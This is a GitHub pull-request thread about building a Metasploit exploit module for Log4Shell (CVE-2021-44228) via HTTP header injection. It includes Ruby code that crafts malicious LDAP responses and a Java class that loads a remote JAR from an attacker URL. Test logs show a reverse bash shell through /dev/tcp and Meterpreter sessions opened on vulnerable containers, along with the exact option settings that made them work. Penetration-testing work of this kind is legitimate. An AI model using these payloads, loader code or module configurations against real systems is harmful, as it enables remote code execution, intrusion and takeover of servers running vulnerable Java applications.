New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Log4j2 HTTP Header Injection Exploit #15969
Log4j2 HTTP Header Injection Exploit #15969
Conversation
@r7 team: this depends on #15961 - its the "non working" split off of that branch, the original PR should be good to merge and then restore @zeroSteiner's lost (by my sloppy self) bits. |
Addendum for senior developers - the meat of this module will go into a |
@sempervictus Would you mind sharing your pcap file? I don't have any msf environment handy to apply that patch and try to reproduce myself, to have a look at the LDAP response. Aside from that suggestion, some things seem fishy to me. I have no idea about Ruby LDAP libraries, but I would have expected to see at least one of the magic LDAP attribute names that trigger Object creation in JNDI or its encoded numerical value somewhere in the source code of this pull request. That being said, in our off-list discussion I sent you the source for a simple self-contained Class file that can load a Metasploit generated JAR from a HTTP(S) URL. I would suggest the following steps:
That way, you don't have too many unknowns in each step and will probably find your issue faster. Also it will make it easier for others to help if they know which part is not working as expected. |
@schierlm: thanks for dropping by. Executing as suggested. :) |
@schierlm: as suggested, i added the attributes but i need a Java class serializer to encode the value correctly: def serialized_payload(msg_id, base_dn)
jar = generate_payload.encoded_jar
jclass = Rex::Text.to_octal(jar.entries[2].data) # extract class file - this is gross, need better accessor/raw generator for this
jclass.extend(Net::BER::Extensions::String)
pay = jclass.chars.map(&:to_ber).to_ber_set # this is wrong - need to serialize jclass
# TODO: resolve payload java serialization as this is currently not triggering on delivery
attrs = [
[ "javaClassName".to_ber, ["metasploit.Payload".to_ber].to_ber_set].to_ber_sequence,
[ "javaSerializedData".to_ber, pay ].to_ber_sequence
]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end the |
So you prefer to go the route of triggering a deserialization exploit instead of loading a remote class? This may be a good choice as it can be exploited on some Java versions where trusted codebase is disabled; however you will need another deserialization exploit to trigger it. Have a look at ysoserial for a collection of Java deserialization exploits. I have no idea how Metasploit nowadays handles deserialization exploits. |
9708eea
to
a74fa24
Compare
Thank you sir - i saw some reference to yososerial in the codebase here, going to dig into that a bit. |
@schierlm: i've gone completely gross on this and included a b64 encoded, pre-serialized by java, test class. Still hitting stupid |
I created a small PoC LDAP server based on this PoC, and a small PoC client that does not use Log4J but directly calls JNDI: When running those two (and the TEST class is on the class path of JNDIClient), I get
PCAP file: jndi.pcapng.zip |
@schierlm - i've run into a javapayload/stager limitation it seems: i can't serialize it. My last commit sorta takes this into your domain of expertise: i'm bridging to Java to serialize this thing because diff --git i/java/javapayload/src/main/java/metasploit/Payload.java w/java/javapayload/src/main/java/metasploit/Payload.java
index 41e3bfdc..03542b6c 100644
--- i/java/javapayload/src/main/java/metasploit/Payload.java
+++ w/java/javapayload/src/main/java/metasploit/Payload.java
@@ -43,6 +43,7 @@ import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
+import java.io.Serializable;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
@@ -64,7 +65,7 @@ import java.util.StringTokenizer;
* To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it).
*/
-public class Payload extends ClassLoader {
+public class Payload extends ClassLoader implements Serializable {
public static void main(String[] ignored) throws Exception {
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat". but i'm not sure if thats the right thing to be prodding. def byte_array_payload
jar = generate_payload.encoded_jar
file_name = Rex::Text.rand_text_alpha_lower(8)
file_path = datastore['JavaCache'] + "/#{file_name}.jar"
::File.open(file_path, 'wb+') {|f| f.write(jar)}
::Rjb::load(file_path)
::File.unlink(file_path)
payClass = ::Rjb::import("metasploit.Payload")
byteArrayClass = ::Rjb::import("java.io.ByteArrayOutputStream")
outputClass = ::Rjb::import("java.io.ObjectOutputStream")
payInst = payClass.new()
byteArrayInst = byteArrayClass.new()
outputInst = outputClass.new(byteArrayInst)
# Crash here because metasploit.Payload/Payload.class is not serializable
serResult = outputInst.writeObject(payInst)
payByteArray = byteArrayInst.toByteArray()
end work? |
My approach would be to not serialize (an instance of) the |
Thank you, will take a look at that approach. |
Hmm, still seems to throw the same not serializable error. I'm guessing its because there are OS-native things in there? |
Hello, sharing my 2 cents if I may, as I'm working on a log4shell metasploit module, but as a personal exercise and with no intent to share my lousy ruby code.
Still haven't found a way to inject the dynamic LHOST / LPORT options to the payload with Rex looking forward for your nice work @sempervictus, looking to forward to see final outcome of this module. |
Hi @righel, welcome to the party. Edit: could you please elaborate on this piece |
f33b0ef
to
64e08d7
Compare
@sempervictus It seems to me that you don't fully understand what the Serializable interface is doing. It affects whether instances (objects) of the class can be serialized, not whether the deserialized data can access the class. Making a class with no non-static fields or methods (like AESEncryption) Serializable has no effect. Points against making random classes Serializable
For these reasons, I would object to just make all the classes Serializable. Have one Serializable class that calls into the code, which gets injected into the jar file. I thought it was CVE-2008-5353, but it was CVE-2011-3544 that implemented this technique: @righel: JAR loading works just fine as long as
or
Sample JAR file including sources: simple.jar.zip EDIT (had to run before):
|
@schierlm nice!, I'll keep trying (not today unfortunately). Must have missed something. Thanks for the resources! @sempervictus I pushed my lousy code to this branch: https://github.com/righel/metasploit-framework/tree/log4shell By
Which results in the vulnerable host loading and executing the remote class from The actual script: https://github.com/righel/metasploit-framework/blob/log4shell/modules/exploits/multi/misc/log4shell.rb How I use it:
|
64e08d7
to
0ed0644
Compare
@sempervictus I don't think it adds constructively to this discussion if you tell us how much you hate (i.e. are unwilling to spend time to learn about) both the technology you are exploiting and the technology you are using to write the exploit in. The basic idea about JNDI in LDAP is that you can store domain objects (objects don't only exist in Java but also in other object-oriented languages) directly in the LDAP server. So for a person record you can store the EmployeeData object in the LDAP server, or some distributed server nodes can store a RMI endpoint to invoke them in the LDAP server. For non-RMI endpoints, there are two ways how to do this:
From an exploitation perspective, the advantage of serialized objects is that you do not need to have |
@schierlm - thank you! Those nuances would have taken me days/weeks to suss out from the docs and trying to break stuff. |
Sorry for lag, clients needed a hand. |
@sempervictus: I have the impression you are thinking too complicated :-) You have to distinguish between two cases:
The factory class looks like this (already previously posted part of simple.zip): package simple;
import java.util.Hashtable;
import javax.naming.*;
public class Factory implements javax.naming.spi.ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Loading via factory...");
Payload.main(null);
return null;
}
} Regardless what context and values are availble, it will invoke the payload (which will be loaded via trusted code base as it is in the same JAR as the Factory class), and then return Or you can use more or less any class, as long as the static initializer already runs your payload. It may cause a thread inside your attacked application to crash, as JNDI will throw an exception that is not expected by the caller, but your payload should be fine. |
Thank you sir, that jives with what i've been reading in my study of ysoserial functionality - the ROPing process isn't there to allocate and fill (with our content) an executable slab of memory like we do in the binary payloads, but to get additional java classes into the running virtual machine which can then be pointed to and executed. def serialized_payload(msg_id, base_dn)
attrs = [
[ "javaClassName".to_ber, ["metasploit.Payload".to_ber].to_ber_set ].to_ber_sequence,
[ "javaCodebase".to_ber, ["#{jar_payload_url}".to_ber].to_ber_set ].to_ber_sequence,
]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end Case 2 on the other hand sounds more like we do want to get a serialized buffer in there via def serialized_payload(msg_id, base_dn)
attrs = [
[ "javaClassName".to_ber, ["loaderClass".to_ber].to_ber_set ].to_ber_sequence,
[ "javaSerializedData".to_ber, [byte_array_payload.to_ber].to_ber_set ].to_ber_sequence
]
appseq = [
base_dn.to_ber,
attrs.to_ber_sequence
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
[ msg_id.to_ber, appseq ].to_ber_sequence
end and find those deserialization gadgets hopefully in log4j itself (otherwise this will have to be app-by-app basis vs a generic l4j <2.17 target). At that point though we do need an actual java stager which is serialized and then deserialized by said gadgets to execute a loader or factory routine of some sort. If that is the process, can we do some sort of non-native serialization of the meterp class file (bson or something) and unpack it on the other side with the stage0 deserialized loader? |
Yeah, I think you are now on track. For number 1, you don't want metasploit.Payload as factory class, but e.g. metasploit.PayloadFactory, which will then load metasploit.Payload as in my Factory example above. For number 2: The security advisory of log4j reads to me as they checked recent versions of log4j and did not find any suitable deserialization gadgets. But older Java 8 versions have some, also the gadgets in Jakarta Commons Collections and in Mozilla Rhino may be useful as these libraries are quite ubiquitous in the Java world, too. The existing deserialization gadgets I know of (ysoserial or other) generally are combined to expose one of two functionalities:
So, as I see it, you don't have to think of any custom payload transportation protocols. Loading classes or JARs from URLs is ubiquitous in Java. The gadgets basically have to perform the same task as the example code from our previous email conversation (stripping the text for privacy reasons, and including only the Java class here): import java.net.URL;
import java.net.URLClassLoader;
public class MyClass {
public MyClass() throws Exception {
URLClassLoader ucl = new URLClassLoader(new URL[] {
new URL("http://evil.guy:8888/payload.jar")
});
ucl.loadClass("metasploit.Payload")
.getMethod("main", String[].class)
.invoke(null, (Object) null);
}
} |
I must agree with your earlier assessment regarding over-complication, seems that Java really wants to execute remote code, like "really really" wants to... and here i was naively thinking that i have to get my code in there surreptitiously. Silly me. I'll get on scaffolding case 1 currently, at least we oughta be able to hit the low-hanging fruit with that, but from the Msf side i might need to hack together a web server so that i dont have two service mixins running from a single module. |
Actually - for case 1, would it be enough to have an HTTP payload handler just serving out the called resource on-connect, or will that not work since its expecting to be called from an actual stage0? |
Remember that Java started with the goal that your toaster can run applets from the Internet :) Many concepts in Java (RMI, JNDI) come from that time frame, and were only "hardened" later, once Java got more ubiquitous on servers and got more features. I believe HTTP payload handlers in Metasploit won't deliver the actual stage, they will only provide a communication channel so that the payload can request parts of the communication stream and send reply chunks. So it won't work. |
Clean up the Java code for PayloadFactory - the `main()` function is actually not required, the error seen on initial attempts to compile was some sort of PEBKAC or weird things in classpaths. Update the module to start the HTTP server before issuing the HTTP request starting the call chain which eventually executes the Java PayloadFactory - that chain is quick and races with the service's startup time to get the JAR containing the Payload and its factory. Minor misc cleanup. Give credit where due: we stand on the shoulders of giants. Testing: LDAP request is serviced with response containing our JAR URL and trigger parameters for the factory to instantiate Payload.class and call its `main()` function. HTTP request is serviced to deliver the JAR. Payload handler on MSF-side is tripped with incoming connection.
Pull in the ysoserial mixin and create target configurations to permit ysoserial payload generation. Setup datastore options and execution flow to manage the remote code loading workflow vs the deserialization approach. The buffer produced by ysoserial still needs to be marshalled into a valid Java String or Stream of some sort, and verified functional against the PoC target container using public ysoserial libraries.
032a9aa
to
60ae800
Compare
@timwr (and everyone else reading, might be a great project for @righel) - when you have some creative excess, could you possibly look into (and please kick me when you do) getting Marshalsec wired up like Ysoserial and expanding both of them to potentially build those harnesses on the fly via Rjb or (and i dont suggest this avenue due to OS variance) local invocation of the build tooling, for some dynamism and compositional flexibility? |
60ae800
to
5eb2c32
Compare
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was able to successfully test this against a contrived struts2 docker image with the following settings:
set HTTP_HEADER If-Modified-Since
set TARGETURI /struts2-showcase/struts/utils.js
set YSOSERIAL_LIB CommonsBeanutils1
set TARGET Linux
set REMOTE_LOAD false
set PAYLOAD cmd/unix/reverse_bash
Documenting those here because it took me a lot of trial and error to lock down the correct options.
Testing Output
msf6 exploit(multi/http/log4shell_header_injection) > show options
Module options (exploit/multi/http/log4shell_header_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPPORT 9090 yes The HTTP server port
HTTP_HEADER If-Modified-Since yes The header to inject
HTTP_METHOD GET yes The HTTP method to use
LDAP_AUTH_BYPASS true yes Ignore LDAP client authentication
LDIF_FILE no Directory LDIF file path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOTE_LOAD false yes Load payload from MSF HTTP service instead of Ysoserial method
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 192.168.159.128 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
addresses.
SRVPORT 389 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/struts/utils.js yes The URI to scan
VHOST no HTTP server virtual host
YSOSERIAL_LIB CommonsBeanutils1 yes Ysoserial library for deserialization (Accepted: CommonsBeanutils1, CommonsCollections1, CommonsCollections2, CommonsColle
ctions3, CommonsCollections4, CommonsCollections5, CommonsCollections6, Groovy1, Hibernate1, JBossInterceptors1, JSON1, Ja
vassistWeld1, Jdk7u21, MozillaRhino1, Myfaces1, ROME, Spring1, Spring2)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux
msf6 exploit(multi/http/log4shell_header_injection) > run
[+] bash -c '0<&166-;exec 166<>/dev/tcp/192.168.159.128/4444;sh <&166 >&166 2>&166'
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Client sent unexpected request 2
[*] Command shell session 5 opened (192.168.159.128:4444 -> 192.168.159.128:53630 ) at 2022-01-06 17:18:18 -0500
[*] Server stopped.
id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
pwd
/
There's alot of configuration necessary for this module, so in order to be useful I think we're going to need some detailed module docs. I'm happy to write those up for you if you'd like @sempervictus . My last concern is the REMOTE_LOAD functionality includes alot of code that I haven't been able to test. I'd like to either see it work or remove it for now until I can either make or receive steps to demonstrate it. Edit: Nevermind, was able to get it working using christophetd/log4shell-vulnerable-app:latest
as the target, and the Automatic target, which was the key to allow setting the payload to the Java meterpreter instead of using a Linux command.
[ | ||
'Automatic', { | ||
'Platform' => 'java', | ||
'Arch' => [ARCH_JAVA], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Correct me if I'm wrong, but since this target only supports ARCH_JAVA, it's incompatible with REMOTE_LOAD false because the YSOSerial gadget chains can't handle a java payload, only commands.
The inverse is then also true. This makes me wonder if REMOTE_LOAD should even be user-configurable or just inferred based on the target that the user specified with the implications of the technique described within the documentation.
FWIW, we have the ability to hide options that are inactive. You could for example hide YSOSERIAL_LIB
when the target is Automatic since it'll be ignored. That may make it easier for users to understand that if their exploit fails, changing that option won't do anything.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Agreed, thats the way its supposed to work really, but it creates a bit of user-opacity in terms of the killchain logic since they have to grok the framework's concepts of targets to make it viable. Honestly given the potential damage of this, i dont mind making people break a knuckle or two to get it working - keeps the lazy skiddie scum at bay.
I say "go for it" in the PR on the PR, its a nice mechanical thing to streamline.
Proposed the changes (and some extras too) that we discussed in sempervictus#31. |
The necessary value can be inferred by the target and it's payload compatibility so just set it intelligently.
Proposed changes pulled in - definitely earned that authors credit boss 😁 |
Do you want me to merge-squash this before we commit? My git history is a wash anyway since i asked for rex to get split and you're probably coming up on HD levels of git blame. |
Looks like the bots are happy. We'll revisit this one soon enough anyway once we land the #16005 PR if you wanna do more touch-up. Any blockers, or can we land and get into the fun of services and mixin extraction? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Only left a question about the byte_array_payload()
function. Tested against Struts2 and Spring targets through Docker:
Module Output
msf6 exploit(multi/http/log4shell_header_injection) > set rport 8080
rport => 8080
msf6 exploit(multi/http/log4shell_header_injection) > run
[+] bash -c '0<&153-;exec 153<>/dev/tcp/192.168.140.105/4444;sh <&153 >&153 2>&153'
[*] Started reverse TCP handler on 192.168.140.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:8080 - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
[+] 127.0.0.1:8080 - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.140.105%3a9000/lsi1bn6nbrb1q1j/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Client sent unexpected request 2
[*] Command shell session 1 opened (192.168.140.105:4444 -> 192.168.140.105:52585 ) at 2022-01-10 14:09:10 -0600
[*] Server stopped.
whoami
tomcat
^C
Abort session 1? [y/N] y
[*] 127.0.0.1 - Command shell session 1 closed. Reason: User exit
msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_HEADER X-Api-Version
HTTP_HEADER => X-Api-Version
msf6 exploit(multi/http/log4shell_header_injection) > set targeturi /
targeturi => /
msf6 exploit(multi/http/log4shell_header_injection) > set target Automatic
target => Automatic
msf6 exploit(multi/http/log4shell_header_injection) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > run
[*] Started reverse TCP handler on 192.168.140.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Serving Java code on: http://192.168.140.105:8080/lY5brHbn1.jar
[+] Payload requested by 192.168.140.105 using Java/1.8.0_181
[*] Sending stage (58082 bytes) to 192.168.140.105
[*] Meterpreter session 2 opened (192.168.140.105:4444 -> 192.168.140.105:52866 ) at 2022-01-10 14:32:40 -0600
[*] Client sent unexpected request 2
[*] Server stopped.
meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 91b263839f9b
OS : Linux 5.10.47-linuxkit (amd64)
Meterpreter : java/linux
# Use Ruby Java bridge to create a Java-natively-serialized object | ||
# | ||
# @return [String] Marshalled serialized byteArray of the loader class | ||
def byte_array_payload(pay_class = 'metasploit.PayloadFactory') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't seem to be used anywhere as of now. Is this for potential future additions or is it no longer needed in the module?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not used currently - exposure of a method we can later leverage to build more custom/dynamic serialization payloads. Breadcrumbs to follow later or for some other entrepreneurial hacker to pick up.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Alright, everything looks good to me now. I gave it one final test after pushing a commit to preemptively adjust how we refer to ysoserial. In the near future, I'm hoping we'll have additional gadget chains that are not provided by ysoserial, so I wanted to get ahead of that stale reference.
Thanks for all of your effort on this @sempervictus ! And thank you for all of your guidance and input @schierlm , it is much appreciated!
Struts2 Testing
msf6 exploit(multi/http/log4shell_header_injection) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13)
[+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/hsa8x66wvyk75yj5lkddru2lkgq/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:59870 ) at 2022-01-11 16:32:20 -0500
id
[*] Server stopped.
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
^C
Abort session 1? [y/N] y
[*] 192.168.159.128 - Command shell session 1 closed. Reason: User exit
msf6 exploit(multi/http/log4shell_header_injection) >
Release NotesThis adds an exploit for HTTP servers that are affected by the Log4J/Log4Shell vulnerability via header stuffing. This vulnerability is identified as CVE-2021-44228. |
Using the infrastructure developped for use in the log4shell HTTP
scanner, implement a basic HTTP exploit module which performs the
same action as the scanner does per-host on a specific target; but
instead of logging the vulnerability, return a crafted LDAP search
response containing the payload encoded within the search response.
The crux of this effort lies in payload generation, specifically in
crafting the legal LDAP response packet out of the request data and
generated JAR-format payload. The payload selection is based on an
offline discussion with @Mihi during which he indicated JNDI's
ability to load JARs in the same way as raw Java classes. This
assumption/interpretation on my part may be incorrect.
At present, the delivered LDAP search response appears to be valid
in WireShark, and the vulnerable test docker is showing internal
values in its console output a la:
which shows that it is processing the response on its end, just
not in the way we would prefer, yet.
This may be a result of how the MSF payload is being shuffled and
mutated by the packet construction method, or a mistake in the way
i pass in the queried base DN or execute the LDAP search response
transaction.
Testing: fails currently for aforementioned reason
TODO:
figure out how to encode the payload/LDAP response correctly
continue testing until verified and upstreamed